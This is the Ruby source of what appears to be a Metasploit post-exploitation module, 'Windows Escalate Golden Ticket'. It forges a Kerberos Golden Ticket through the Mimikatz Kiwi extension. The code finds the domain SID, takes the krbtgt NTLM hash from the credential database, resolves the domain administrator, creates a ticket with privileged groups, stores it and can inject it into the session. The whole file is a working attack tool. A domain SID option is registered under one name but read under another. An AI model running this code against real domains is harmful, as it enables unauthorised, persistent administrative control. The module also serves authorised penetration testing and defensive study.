metasploit-framework/modules/post/windows/escalate/golden_ticket.rb

225 lines
7.3 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/windows/netapi'
require 'msf/core/post/windows/kiwi'
require 'msf/core/post/windows/error'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::NetAPI
include Msf::Post::Windows::Accounts
include Msf::Post::Windows::Kiwi
include Msf::Post::Windows::Error
def initialize(info = {})
super(update_info(
info,
'Name' => 'Windows Escalate Golden Ticket',
'Description' => %q{
This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no
options are applied it will attempt to identify the current domain, the domain administrator
account, the target domain SID, and retrieve the krbtgt NTLM hash from the database. By default
the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket.
},
'License' => MSF_LICENSE,
'Author' => [
'Ben Campbell'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
['URL', 'https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos']
]
))
register_options(
[
OptBool.new('USE', [true, 'Use the ticket in the current session', false]),
OptString.new('USER', [false, 'Target User']),
OptString.new('DOMAIN', [false, 'Target Domain']),
OptString.new('KRBTGT_HASH', [false, 'KRBTGT NTLM Hash']),
OptString.new('Domain SID', [false, 'Domain SID']),
OptInt.new('ID', [false, 'Target User ID']),
OptString.new('GROUPS', [false, 'ID of Groups (Comma Seperated)'])
])
end
def run
return unless load_kiwi
user = datastore['USER']
domain = datastore['DOMAIN']
krbtgt_hash = datastore['KRBTGT_HASH']
domain_sid = datastore['SID']
id = datastore['ID'] || 0
unless domain
print_status('Searching for the domain...')
domain = get_domain
if domain
print_good("Targeting #{domain}")
else
fail_with(Failure::Unknown, 'Unable to retrieve the domain...')
end
end
unless krbtgt_hash
if framework.db.active
print_status('Searching for krbtgt hash in database...')
krbtgt_hash = lookup_krbtgt_hash(domain)
fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash
else
fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash')
end
end
unless domain_sid
print_status("Obtaining #{domain} SID...")
domain_sid = lookup_domain_sid(domain)
if domain_sid
print_good("Found #{domain} SID: #{domain_sid}")
else
fail_with(Failure::Unknown, "Unable to find SID for #{domain}")
end
end
unless user
if id && id != 0
print_status("Looking up User ID: #{id}")
user = resolve_sid("#{domain_sid}-#{id}")[:name]
else
print_status('Looking up Domain Administrator account...')
user = resolve_sid("#{domain_sid}-500")[:name]
end
if user
print_good("Found User: #{user}")
else
fail_with(Failure::Unknown, 'Unable to find User')
end
end
print_status("Creating Golden Ticket for #{domain}\\#{user}...")
ticket = client.kiwi.golden_ticket_create({
user: user,
domain_name: domain,
domain_sid: domain_sid,
krbtgt_hash: krbtgt_hash,
id: id,
group_ids: datastore['GROUPS']
})
if ticket
print_good('Golden Ticket Obtained!')
ticket_location = store_loot("golden.ticket",
"base64/kirbi",
session,
ticket,
"#{domain}\\#{user}-golden_ticket.kirbi",
"#{domain}\\#{user} Golden Ticket")
print_status("Ticket saved to #{ticket_location}")
if datastore['USE']
print_status("Attempting to use the ticket...")
client.kiwi.kerberos_ticket_use(ticket)
print_good("Kerberos ticket applied successfully")
end
else
fail_with(Failure::Unknown, 'Unable to create ticket')
end
end
def lookup_domain_sid(domain)
string_sid = nil
cb_sid = sid_buffer = 100
cch_referenced_domain_name = referenced_domain_name_buffer = 100
res = client.railgun.advapi32.LookupAccountNameA(
nil,
domain,
sid_buffer,
cb_sid,
referenced_domain_name_buffer,
cch_referenced_domain_name,
1)
if !res['return'] && res['GetLastError'] == INSUFFICIENT_BUFFER
sid_buffer = cb_sid = res['cbSid']
referenced_domain_name_buffer = cch_referenced_domain_name = res['cchReferencedDomainName']
res = client.railgun.advapi32.LookupAccountNameA(
nil,
domain,
sid_buffer,
cb_sid,
referenced_domain_name_buffer,
cch_referenced_domain_name,
1)
elsif !res['return']
return nil
end
if res['return']
sub_authority_count = res['Sid'].unpack('CC')[1]
sid = res['Sid'].unpack("CCCCCCCCV#{sub_authority_count}")
string_sid = "S-#{sid[0]}-#{sid[7]}-#{sid[8]}-#{sid[9]}-#{sid[10]}-#{sid[11]}"
else
print_error("Error looking up SID: #{res['ErrorMessage']}")
end
string_sid
end
def lookup_krbtgt_hash(domain)
krbtgt_hash = nil
krbtgt_creds = Metasploit::Credential::Core.joins(:public, :private).where(
metasploit_credential_publics: { username: 'krbtgt' },
metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' },
workspace_id: myworkspace.id)
if krbtgt_creds
if krbtgt_creds.count == 0
print_error('No KRBTGT Hashes found in database')
elsif krbtgt_creds.count > 1
# Can we reduce the list by domain...
krbtgt_creds_realm = krbtgt_creds.select { |c| c.realm.to_s.upcase == domain.upcase }
# We have found a krbtgt hashes in our target domain
if krbtgt_creds_realm.length == 1
cred = krbtgt_creds_realm.first
krbtgt_hash = cred.private.data.split(':')[1]
print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")
return krbtgt_hash
# We have found multiple krbtgt hashes in our target domain?!
elsif krbtgt_creds_realm.length > 0
krbtgt_creds = krbtgt_creds_realm
end
# Multiple hashes found, the user will have to manually set one...
print_error('Multiple KRBTGT Hashes found in database, please use one of the below:')
krbtgt_creds.each do |kc|
hash = kc.private.data.split(':')[1]
print_line("#{kc.realm}:#{kc.public.username}:#{hash}")
end
else
# Highlander, there can only be one!
cred = krbtgt_creds.first
krbtgt_hash = cred.private.data.split(':')[1]
print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")
end
end
krbtgt_hash
end
end